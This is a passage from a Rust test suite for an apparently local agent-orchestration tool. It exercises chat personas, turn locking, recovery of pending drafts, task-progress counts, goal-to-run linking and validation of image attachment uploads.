15693 detail
15694 .view
15695 .persona_avatar
15696 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15697 );
15698 assert_eq!(
15699 detail.view.operator_avatar,
15700 format!(
15701 "/avatars/operator.svg?v={}",
15702 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15703 )
15704 );
15705 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15706 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15707 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15708 assert!(rei.avatar.contains("persona=rei&v="));
15709 assert_ne!(
15710 rei.avatar.split("&v=").nth(1),
15711 plain.avatar.split("&v=").nth(1)
15712 );
15713 }
15714
15715 #[tokio::test]
15716 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15717 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15718 let cfg = config_for(&repo).await.unwrap();
15719 for arrived in [false, true] {
15720 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15721 let observed = ui.queued_generation(&id);
15722 let talk = ui.talks.get(&id).unwrap();
15723 if arrived {
15724 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15725 }
15726 let mut settling = std::pin::pin!(settle_settings_turn(
15727 talk,
15728 ui.talks.clone(),
15729 cfg.clone(),
15730 id.clone(),
15731 turn,
15732 observed
15733 ));
15734 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15735 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15736 assert_eq!(first.is_pending(), arrived);
15737 if arrived {
15738 assert!(!settling.await);
15739 }
15740 assert!(!ui.is_thinking(&id));
15741 }
15742 }
15743
15744 #[tokio::test]
15745 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15746 let tmp = TempDir::new().expect("tempdir");
15747 let repo = tmp.path().join("repo");
15748 std::fs::create_dir_all(&repo).expect("repo dir");
15749 std::fs::write(
15750 repo.join("magi.toml"),
15751 format!(
15752 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15753 ),
15754 )
15755 .expect("write magi.toml");
15756 let home = TempDir::new().expect("temp home");
15757 let talks = Talks::at(home.path().join("talks"));
15758 let ui = Arc::new(
15759 Ui::new(
15760 Queue::at(home.path().join("queue")),
15761 Questions::at(home.path().join("questions")),
15762 talks.clone(),
15763 home.path().join("runs"),
15764 home.path().to_path_buf(),
15765 repo.clone(),
15766 )
15767 .with_worktrees_root(home.path().join("wt")),
15768 );
15769 let cfg = config_for(&repo).await.expect("discover config");
15770 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15771 let id = talk.id.clone();
15772 let call = |persona: &str| {
15773 talk_persona(
15774 State(Arc::clone(&ui)),
15775 Path(id.clone()),
15776 Json(TalkPersona {
15777 persona: persona.to_owned(),
15778 }),
15779 )
15780 };
15781
15782 let unknown = call("nobody").await.expect_err("unknown persona");
15783 assert_eq!(
15784 unknown.status,
15785 StatusCode::BAD_REQUEST,
15786 "{}",
15787 unknown.message
15788 );
15789
15790 {
15791 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15794 let busy = call("rei").await.expect_err("busy talk");
15795 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15796 assert!(
15797 busy.message.contains("a talk turn is running"),
15798 "{}",
15799 busy.message
15800 );
15801 drop(guard);
15802 }
15803 assert_eq!(talks.get(&id).expect("reload").persona, "");
15804
15805 let Json(view) = call("gendo").await.expect("switch to a configured persona");
15806 assert_eq!(view.talk.persona, "gendo");
15807 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15808 assert!(!ui.is_thinking(&id), "idle response must release the claim");
15809 for chosen in ["default", "gendo", "rei", "gendo"] {
15811 let Json(view) = call(chosen).await.expect("immediate consecutive change");
15812 assert!(!view.thinking);
15813 assert!(!ui.is_thinking(&id));
15814 }
15815
15816 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15817 .await
15818 .expect("detail");
15819 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15820 assert_eq!(ids.first(), Some(&"default"));
15821 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15822
15823 let Json(view) = call("default").await.expect("back to default");
15824 assert_eq!(view.talk.persona, "");
15825
15826 let mut closed = talks.get(&id).expect("reload");
15827 talk::close(&mut closed, &talks).expect("close");
15828 let refused = call("rei").await.expect_err("closed talk");
15829 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15830 assert!(
15831 refused.message.contains("takes no more turns"),
15832 "{}",
15833 refused.message
15834 );
15835 }
15836
15837 #[tokio::test]
15838 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15839 let f = Fixture::start().await;
15840 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15841 let queue = f.queue();
15842 let mut mine = Task::new(
15843 "rename the loader".to_owned(),
15844 "rename the loader".to_owned(),
15845 PathBuf::from("/repo/magi"),
15846 Source::Agent {
15847 run: talk_id.clone(),
15848 node: "chat".to_owned(),
15849 },
15850 );
15851 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15852 assert_eq!(empty["task_progress"]["state"], "none");
15853 assert_eq!(empty["task_progress"]["total"], 0);
15854 queue.put(&mut mine).expect("file the task");
15855 let mut theirs = Task::new(
15856 "unrelated".to_owned(),
15857 "unrelated".to_owned(),
15858 PathBuf::from("/repo/magi"),
15859 Source::Human,
15860 );
15861 theirs.origin_chat = Some(talk_id.clone());
15863 queue.put(&mut theirs).expect("file the task");
15864
15865 let res = f.get(&format!("/api/talks/{talk_id}")).await;
15866 assert_eq!(res.status, 200, "{}", res.body);
15867 let body = res.json();
15868 assert_eq!(
15869 body["status"], "open",
15870 "filing a task does not close a talk"
15871 );
15872 let tasks = body["tasks"].as_array().expect("tasks array");
15873 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15874 assert_eq!(tasks[0]["id"], mine.id);
15875 for status in [
15876 TaskStatus::Queued,
15877 TaskStatus::Running,
15878 TaskStatus::Held,
15879 TaskStatus::Failed,
15880 TaskStatus::Blocked,
15881 TaskStatus::Parked,
15882 TaskStatus::Done,
15883 TaskStatus::Queued,
15884 ] {
15885 mine.status = status;
15886 queue.put(&mut mine).expect("update status");
15887 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15888 let progress = &detail["task_progress"];
15889 assert_eq!(progress["total"], 1);
15890 assert_eq!(progress["counts"][status.as_str()], 1);
15891 assert_eq!(detail["tasks"][0]["status"], status.as_str());
15892 assert_eq!(detail["status"], "open", "completion never closes the chat");
15893 if status == TaskStatus::Done {
15894 assert_eq!(progress["state"], "complete");
15895 assert_eq!(progress["done"], 1);
15896 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15897 } else {
15898 assert_eq!(progress["state"], "incomplete");
15899 assert_eq!(progress["done"], 0);
15900 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15901 }
15902 }
15903 }
15904
15905 #[test]
15906 fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
15907 let home = tempfile::tempdir().unwrap();
15908 let runs = home.path().join("runs");
15909 let queue = Queue::at(home.path().join("queue"));
15910 let talks = Talks::at(home.path().join("talks"));
15911 let config = stub_config();
15912 let repo = PathBuf::from("/repo/magi");
15913 let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
15914 let reserve_run = |repo| {
15915 let mut run = RunState::new(
15916 repo,
15917 "main".into(),
15918 "0000000".into(),
15919 "Follow the review".into(),
15920 config.clone(),
15921 );
15922 run.reserve_under(home.path()).unwrap();
15923 run
15924 };
15925 let older = reserve_run(repo.clone());
15926 let newer = reserve_run(repo.clone());
15927 let foreign = reserve_run(PathBuf::from("/repo/other"));
15928 let mismatched = reserve_run(repo.clone());
15929 let corrupt = reserve_run(repo.clone());
15930 let run_file = |id: &str| runs.join(id).join("run.json");
15931 std::fs::write(
15932 run_file(&mismatched.id),
15933 serde_json::to_vec(&older).unwrap(),
15934 )
15935 .unwrap();
15936 std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
15937 let goal = |tasks: Vec<String>, runs: Vec<String>| {
15938 serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
15939 "id": "g", "purpose": "Follow the review", "scope": "review",
15940 "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
15941 "state": "waiting", "step": "Follow the recorded review",
15942 "source_turn": 0, "owner_input": "Follow the review",
15943 "tasks": tasks, "runs": runs, "watches": [],
15944 "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
15945 "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
15946 }))
15947 .unwrap()
15948 };
15949 let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
15950
15951 talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
15952 assert_eq!(link(&talk), Some(("run", newer.id.clone())));
15953
15954 let unusable = vec![
15955 foreign.id.clone(),
15956 mismatched.id.clone(),
15957 corrupt.id.clone(),
15958 "missing".into(),
15959 "../escape".into(),
15960 ];
15961 let mut references = vec![older.id.clone()];
15962 references.extend(unusable.clone());
15963 talk.goals = vec![goal(vec![], references)];
15964 assert_eq!(link(&talk), Some(("run", older.id.clone())));
15965
15966 talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
15967 assert_eq!(link(&talk), None);
15968
15969 let mut task = Task::new(
15970 "Review".into(),
15971 "Follow the review".into(),
15972 repo,
15973 Source::Human,
15974 );
15975 queue.put(&mut task).unwrap();
15976 talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
15977 assert_eq!(link(&talk), Some(("task", task.id.clone())));
15978
15979 task.runs.push(older.id.clone());
15980 queue.put(&mut task).unwrap();
15981 assert_eq!(link(&talk), Some(("run", older.id)));
15982 }
15983
15984 #[test]
15985 fn talk_task_progress_counts_mixed_statuses() {
15986 let mut tasks: Vec<_> = [
15987 TaskStatus::Queued,
15988 TaskStatus::Running,
15989 TaskStatus::Held,
15990 TaskStatus::Failed,
15991 TaskStatus::Blocked,
15992 TaskStatus::Parked,
15993 TaskStatus::Done,
15994 ]
15995 .into_iter()
15996 .map(|status| {
15997 let mut task = Task::new(
15998 "task".into(),
15999 "task".into(),
16000 PathBuf::from("/repo"),
16001 Source::Human,
16002 );
16003 task.status = status;
16004 task
16005 })
16006 .collect();
16007 let progress = talk_task_progress(&tasks);
16008 assert_eq!(progress.state, "incomplete");
16009 assert_eq!(progress.total, 7);
16010 assert_eq!(progress.done, 1);
16011 assert_eq!(progress.unfinished_ids.len(), 6);
16012 assert!(progress.counts.values().all(|count| *count == 1));
16013 assert_eq!(
16014 progress.unfinished_ids,
16015 tasks[..6]
16016 .iter()
16017 .map(|task| task.id.clone())
16018 .collect::<Vec<_>>()
16019 );
16020
16021 for task in &mut tasks {
16022 task.status = TaskStatus::Done;
16023 }
16024 let complete = talk_task_progress(&tasks);
16025 assert_eq!(complete.state, "complete");
16026 assert_eq!(complete.done, 7);
16027 assert!(complete.unfinished_ids.is_empty());
16028 tasks[0].status = TaskStatus::Queued;
16029 let requeued = talk_task_progress(&tasks);
16030 assert_eq!(requeued.state, "incomplete");
16031 assert_eq!(requeued.done, 6);
16032 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16033
16034 let empty = talk_task_progress(&[]);
16035 assert_eq!(empty.state, "none");
16036 assert_eq!(empty.total, 0);
16037 assert_eq!(empty.done, 0);
16038 assert!(empty.unfinished_ids.is_empty());
16039 assert!(empty.counts.values().all(|count| *count == 0));
16040 }
16041
16042 #[tokio::test]
16043 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16044 let (_tmp, _repo, f) = talk_fixture().await;
16045 let id = f.post("/api/talks", None).await.json()["id"]
16046 .as_str()
16047 .expect("id")
16048 .to_owned();
16049
16050 let res = f
16051 .post(
16052 &format!("/api/talks/{id}/say"),
16053 Some(r#"{"text":"what does the queue module do?"}"#),
16054 )
16055 .await;
16056 assert_eq!(res.status, 202, "{}", res.body);
16057 let queued = res.json();
16058 let turns = queued["turns"].as_array().expect("turns array");
16059 assert_eq!(
16060 turns.len(),
16061 1,
16062 "the answer reflects only what is on disk the instant it is sent, \
16063 before the agent's turn - which can run for the whole of \
16064 `[graph] timeout_talk` - has a chance to land: {queued}"
16065 );
16066 assert_eq!(turns[0]["who"], "operator");
16067 assert_eq!(turns[0]["body"], "what does the queue module do?");
16068 assert_eq!(
16069 queued["thinking"], true,
16070 "the accepted response exposes the background turn claim: {queued}"
16071 );
16072
16073 let mut turns_after = 1;
16074 for _ in 0..SETTLE_STEPS {
16075 let detail = f.get(&format!("/api/talks/{id}")).await.json();
16076 turns_after = detail["turns"].as_array().expect("turns array").len();
16077 if turns_after == 2 {
16078 break;
16079 }
16080 tokio::time::sleep(Duration::from_millis(10)).await;
16081 }
16082 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16083 }
16084
16085 #[tokio::test]
16112 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16113 let tmp = TempDir::new().expect("tempdir");
16114 let repo = tmp.path().join("repo");
16115 std::fs::create_dir_all(&repo).expect("repo dir");
16116 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16117 let home = TempDir::new().expect("temp home");
16118 let talks = Talks::at(home.path().join("talks"));
16119 let ui = Arc::new(
16120 Ui::new(
16121 Queue::at(home.path().join("queue")),
16122 Questions::at(home.path().join("questions")),
16123 talks.clone(),
16124 home.path().join("runs"),
16125 home.path().to_path_buf(),
16126 repo.clone(),
16127 )
16128 .with_worktrees_root(home.path().join("wt")),
16129 );
16130 let cfg = config_for(&repo).await.expect("discover config");
16131
16132 for delay in 0..40u32 {
16133 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16134 let id = talk.id.clone();
16135
16136 let handler = tokio::spawn(talk_say(
16137 State(Arc::clone(&ui)),
16138 Path(id.clone()),
16139 Ok(Json(NewTalkTurn {
16140 reply_to: None,
16141 text: "what does the queue module do?".to_owned(),
16142 attachments: Vec::new(),
16143 })),
16144 ));
16145 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16146 handler.abort();
16147 let _ = handler.await;
16150
16151 let mut turns = 0;
16152 for _ in 0..SETTLE_STEPS {
16153 if let Ok(fresh) = talks.get(&id) {
16154 turns = fresh.turns.len();
16155 if turns != 1 {
16156 break;
16157 }
16158 }
16159 tokio::time::sleep(Duration::from_millis(10)).await;
16160 }
16161 assert_ne!(
16162 turns, 1,
16163 "delay {delay}: talk {id} recorded the operator's turn but \
16164 the agent never answered - the reply task was never \
16165 started after the handler future was dropped"
16166 );
16167 }
16168 }
16169
16170 #[tokio::test]
16215 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16216 let tmp = TempDir::new().expect("tempdir");
16217 let repo = tmp.path().join("repo");
16218 std::fs::create_dir_all(&repo).expect("repo dir");
16219 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16220 let home = TempDir::new().expect("temp home");
16221 let talks = Talks::at(home.path().join("talks"));
16222 let ui = Arc::new(
16223 Ui::new(
16224 Queue::at(home.path().join("queue")),
16225 Questions::at(home.path().join("questions")),
16226 talks.clone(),
16227 home.path().join("runs"),
16228 home.path().to_path_buf(),
16229 repo.clone(),
16230 )
16231 .with_worktrees_root(home.path().join("wt")),
16232 );
16233 let cfg = config_for(&repo).await.expect("discover config");
16234
16235 for attempt in 0..3u32 {
16236 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16237 let id = talk.id.clone();
16238 let turn_guard = ui
16241 .begin_talk_turn(&id)
16242 .expect("claim the turn")
16243 .expect("a fresh talk owes nobody a turn");
16244
16245 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16246 let (release_tx, release_rx) = std::sync::mpsc::channel();
16247 ui.set_busy_queue_gate(BusyQueueGate {
16248 reached: reached_tx,
16249 release: release_rx,
16250 });
16251
16252 let handler = tokio::spawn(talk_say(
16253 State(Arc::clone(&ui)),
16254 Path(id.clone()),
16255 Ok(Json(NewTalkTurn {
16256 reply_to: None,
16257 text: "what does the queue module do?".to_owned(),
16258 attachments: Vec::new(),
16259 })),
16260 ));
16261
16262 tokio::time::timeout(Duration::from_secs(5), reached_rx)
16267 .await
16268 .unwrap_or_else(|_| {
16269 panic!(
16270 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16271 )
16272 })
16273 .expect("the busy branch dropped the gate without using it");
16274 assert!(
16275 crate::chat_worker::try_publication_guard(&talks, &id)
16276 .expect("publication fence")
16277 .is_none(),
16278 "a queued worker cannot promote text before its successor reservation is published"
16279 );
16280
16281 let closing = Arc::clone(&ui.admissions).write_owned();
16285 tokio::pin!(closing);
16286 std::future::poll_fn(|cx| {
16287 assert!(closing.as_mut().poll(cx).is_pending());
16288 std::task::Poll::Ready(())
16289 })
16290 .await;
16291 assert!(
16292 ui.begin_admission().is_err(),
16293 "replacement blocks later admissions"
16294 );
16295
16296 let running = talks.get(&id).expect("reload talk");
16303 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16304
16305 handler.abort();
16309 let _ = handler.await;
16310 std::future::poll_fn(|cx| {
16311 assert!(
16312 closing.as_mut().poll(cx).is_pending(),
16313 "HTTP cancellation must not abandon a publishing transaction"
16314 );
16315 std::task::Poll::Ready(())
16316 })
16317 .await;
16318 assert!(
16319 crate::chat_worker::try_publication_guard(&talks, &id)
16320 .expect("publication fence after disconnect")
16321 .is_none()
16322 );
16323
16324 let _ = release_tx.send(());
16330 drop(
16331 tokio::time::timeout(Duration::from_secs(5), closing)
16332 .await
16333 .expect("short admission transaction should release for replacement"),
16334 );
16335 assert!(
16336 crate::chat_worker::try_publication_guard(&talks, &id)
16337 .expect("publication fence after acknowledgement")
16338 .is_some(),
16339 "the publication fence is not retained by the long response"
16340 );
16341
16342 let mut fresh = talks.get(&id).expect("reload talk");
16345 for _ in 0..SETTLE_STEPS {
16346 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16347 break;
16348 }
16349 tokio::time::sleep(Duration::from_millis(10)).await;
16350 fresh = talks.get(&id).expect("reload talk");
16351 }
16352 assert!(
16353 fresh.pending.is_empty() && fresh.turns.len() == 2,
16354 "attempt {attempt}: talk {id} left the operator's text queued \
16355 with no drainer - the reclaimed turn was dropped along with \
16356 the handler future (pending {:?}, {} turns)",
16357 fresh.pending,
16358 fresh.turns.len()
16359 );
16360 }
16361 }
16362
16363 #[tokio::test]
16364 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16365 let (_tmp, _repo, f) = talk_fixture().await;
16366 let id = f.post("/api/talks", None).await.json()["id"]
16367 .as_str()
16368 .expect("id")
16369 .to_owned();
16370 let store = f.talks();
16371 let mut recovered = store.get(&id).expect("opened talk");
16372 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16373 .expect("persist pending draft without a live turn");
16374
16375 let edited = f
16376 .post(
16377 &format!("/api/talks/{id}/pending/edit"),
16378 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16379 )
16380 .await;
16381 assert_eq!(edited.status, 200, "{}", edited.body);
16382 assert!(edited.json()["thinking"].as_bool().unwrap());
16383
16384 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16385 for _ in 0..SETTLE_STEPS {
16386 if detail["turns"].as_array().expect("turns").len() == 2 {
16387 break;
16388 }
16389 tokio::time::sleep(Duration::from_millis(10)).await;
16390 detail = f.get(&format!("/api/talks/{id}")).await.json();
16391 }
16392 let turns = detail["turns"].as_array().expect("turns");
16393 assert_eq!(
16394 turns.len(),
16395 2,
16396 "the recovered draft must run once: {detail}"
16397 );
16398 assert_eq!(turns[0]["body"], "corrected");
16399 assert_eq!(detail["pending"], "");
16400 }
16401
16402 #[tokio::test]
16403 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16404 let tmp = TempDir::new().expect("tempdir");
16405 let repo = tmp.path().join("repo");
16406 std::fs::create_dir_all(&repo).expect("repo dir");
16407 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16408 let f = Fixture::with_repo(repo).await;
16409 let id = f.post("/api/talks", None).await.json()["id"]
16410 .as_str()
16411 .expect("id")
16412 .to_owned();
16413 let store = f.talks();
16414 let mut recovered = store.get(&id).expect("opened talk");
16415 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16416 .expect("persist pending draft without a live turn");
16417
16418 let refused = f
16419 .post(
16420 &format!("/api/talks/{id}/say"),
16421 Some(r#"{"text":"new message"}"#),
16422 )
16423 .await;
16424 assert_eq!(refused.status, 409, "{}", refused.body);
16425 assert!(refused.body.contains("resume"), "{}", refused.body);
16426 let saved = store.get(&id).expect("draft remains after refusal");
16427 assert!(saved.turns.is_empty());
16428 assert_eq!(saved.pending, "saved before restart");
16429
16430 let say_path = format!("/api/talks/{id}/say");
16431 let (first, second) = tokio::join!(
16432 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16433 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16434 );
16435 assert_eq!(first.status, 409, "{}", first.body);
16436 assert_eq!(second.status, 409, "{}", second.body);
16437 let saved = store
16438 .get(&id)
16439 .expect("draft remains after concurrent refusals");
16440 assert!(saved.turns.is_empty());
16441 assert_eq!(saved.pending, "saved before restart");
16442
16443 let resumed = f
16444 .post(&format!("/api/talks/{id}/pending/resume"), None)
16445 .await;
16446 assert_eq!(resumed.status, 202, "{}", resumed.body);
16447 let duplicate = f
16448 .post(&format!("/api/talks/{id}/pending/resume"), None)
16449 .await;
16450 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16451
16452 for _ in 0..SETTLE_STEPS {
16453 if store.get(&id).expect("talk").turns.len() == 2 {
16454 break;
16455 }
16456 tokio::time::sleep(Duration::from_millis(10)).await;
16457 }
16458 let finished = store.get(&id).expect("finished talk");
16459 assert_eq!(finished.turns.len(), 2, "{finished:?}");
16460 assert_eq!(finished.turns[0].body, "saved before restart");
16461 assert!(finished.pending.is_empty());
16462 }
16463
16464 #[tokio::test]
16465 async fn an_image_only_recovered_draft_resumes_without_text() {
16466 let (_tmp, _repo, f) = talk_fixture().await;
16467 let id = f.post("/api/talks", None).await.json()["id"]
16468 .as_str()
16469 .expect("id")
16470 .to_owned();
16471 let uploaded = f
16472 .post_bytes(
16473 &format!("/api/talks/{id}/attachments"),
16474 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16475 PNG_BYTES,
16476 )
16477 .await;
16478 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16479 let attachment = f
16480 .talks()
16481 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16482 .expect("attachment metadata")
16483 .expect("stored attachment");
16484 let store = f.talks();
16485 let mut recovered = store.get(&id).expect("opened talk");
16486 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16487
16488 let resumed = f
16489 .post(&format!("/api/talks/{id}/pending/resume"), None)
16490 .await;
16491 assert_eq!(resumed.status, 202, "{}", resumed.body);
16492 for _ in 0..SETTLE_STEPS {
16493 if store.get(&id).expect("talk").turns.len() == 2 {
16494 break;
16495 }
16496 tokio::time::sleep(Duration::from_millis(10)).await;
16497 }
16498 let finished = store.get(&id).expect("finished talk");
16499 assert_eq!(finished.turns.len(), 2, "{finished:?}");
16500 assert!(finished.turns[0].body.is_empty());
16501 assert_eq!(finished.turns[0].attachments.len(), 1);
16502 assert!(finished.pending_attachments.is_empty());
16503 }
16504
16505 #[tokio::test]
16506 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16507 let (_tmp, _repo, f) = talk_fixture().await;
16508 let id = f.post("/api/talks", None).await.json()["id"]
16509 .as_str()
16510 .expect("id")
16511 .to_owned();
16512 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16513 assert_eq!(closed.status, 200, "{}", closed.body);
16514 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16515 .expect("serialize closed talk");
16516 for (path, body) in [
16517 (format!("/api/talks/{id}/pending/resume"), None),
16518 (
16519 format!("/api/talks/{id}/pending/clear"),
16520 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16521 ),
16522 (
16523 format!("/api/talks/{id}/pending/edit"),
16524 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16525 ),
16526 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16527 ] {
16528 let response = f.post(&path, body).await;
16529 assert_eq!(response.status, 409, "{}", response.body);
16530 }
16531 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16532 .expect("serialize closed talk");
16533 assert_eq!(
16534 after_clear, before_clear,
16535 "clear must not rewrite a closed talk"
16536 );
16537 }
16538
16539 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16542
16543 #[tokio::test]
16544 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16545 let tmp = TempDir::new().expect("tempdir");
16546 let repo = tmp.path().join("repo");
16547 std::fs::create_dir_all(&repo).expect("repo dir");
16548 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16549 let f = Fixture::with_repo(repo).await;
16550 let id_a = f.post("/api/talks", None).await.json()["id"]
16551 .as_str()
16552 .unwrap()
16553 .to_owned();
16554 let id_b = f.post("/api/talks", None).await.json()["id"]
16555 .as_str()
16556 .unwrap()
16557 .to_owned();
16558
16559 let a = f
16560 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16561 .await;
16562 assert_eq!(a.status, 202, "{}", a.body);
16563 assert_eq!(a.json()["thinking"], true);
16564 let b = f
16565 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16566 .await;
16567 assert_eq!(b.status, 202, "{}", b.body);
16568 assert_eq!(b.json()["thinking"], true);
16569
16570 let listed = f.get("/api/talks").await.json();
16571 for id in [&id_a, &id_b] {
16572 let view = listed
16573 .as_array()
16574 .unwrap()
16575 .iter()
16576 .find(|talk| talk["id"] == *id)
16577 .unwrap();
16578 assert_eq!(view["thinking"], true, "{listed}");
16579 }
16580 let repeated = f
16581 .post(
16582 &format!("/api/talks/{id_a}/say"),
16583 Some(r#"{"text":"again"}"#),
16584 )
16585 .await;
16586 assert_eq!(repeated.status, 202, "{}", repeated.body);
16587 assert_eq!(repeated.json()["pending"], "again");
16588 }
16589
16590 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16593
16594 #[tokio::test]
16595 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16596 let f = Fixture::start().await;
16597 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16598
16599 let res = f
16600 .post_bytes(
16601 &format!("/api/talks/{id}/attachments"),
16602 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16603 PNG_BYTES,
16604 )
16605 .await;
16606 assert_eq!(res.status, 201, "{}", res.body);
16607 let body = res.json();
16608 assert_eq!(body["name"], "shot.png");
16609 assert_eq!(body["mime"], "image/png");
16610 assert_eq!(body["bytes"], PNG_BYTES.len());
16611 let att_id = body["id"].as_str().expect("id").to_owned();
16612 assert_eq!(
16613 att_id.len(),
16614 32,
16615 "the id must never be a client-suppliable path: {att_id}"
16616 );
16617
16618 let got = f
16619 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16620 .await;
16621 assert_eq!(got.status, 200, "{}", got.body);
16622 assert_eq!(got.header("content-type"), Some("image/png"));
16623 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16624 assert_eq!(got.bytes, PNG_BYTES);
16625 }
16626
16627 #[tokio::test]
16628 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16629 let f = Fixture::start().await;
16630 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16631
16632 let svg = f
16635 .post_bytes(
16636 &format!("/api/talks/{id}/attachments"),
16637 &[("Content-Type", "image/svg+xml")],
16638 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16639 )
16640 .await;
16641 assert!(
16642 (400..500).contains(&svg.status),
16643 "svg must be refused: {} {}",
16644 svg.status,
16645 svg.body
16646 );
16647 assert!(svg.body.contains("SVG"), "{}", svg.body);
16648
16649 let text = f
16650 .post_bytes(
16651 &format!("/api/talks/{id}/attachments"),
16652 &[("Content-Type", "text/plain")],
16653 b"just some text",
16654 )
16655 .await;
16656 assert!(
16657 (400..500).contains(&text.status),
16658 "an unlisted type must be refused: {} {}",
16659 text.status,
16660 text.body
16661 );
16662
16663 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16666 let big = f
16667 .post_bytes(
16668 &format!("/api/talks/{id}/attachments"),
16669 &[("Content-Type", "image/png")],
16670 &oversized,
16671 )
16672 .await;
16673 assert_eq!(
16674 big.status,
16675 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16676 "{}",
16677 big.body
16678 );
16679 }
16680
16681 #[tokio::test]
16682 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16683 let f = Fixture::start().await;
16684 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16685
16686 let res = f
16689 .post_bytes(
16690 &format!("/api/talks/{id}/attachments"),
16691 &[("Content-Type", "image/png")],
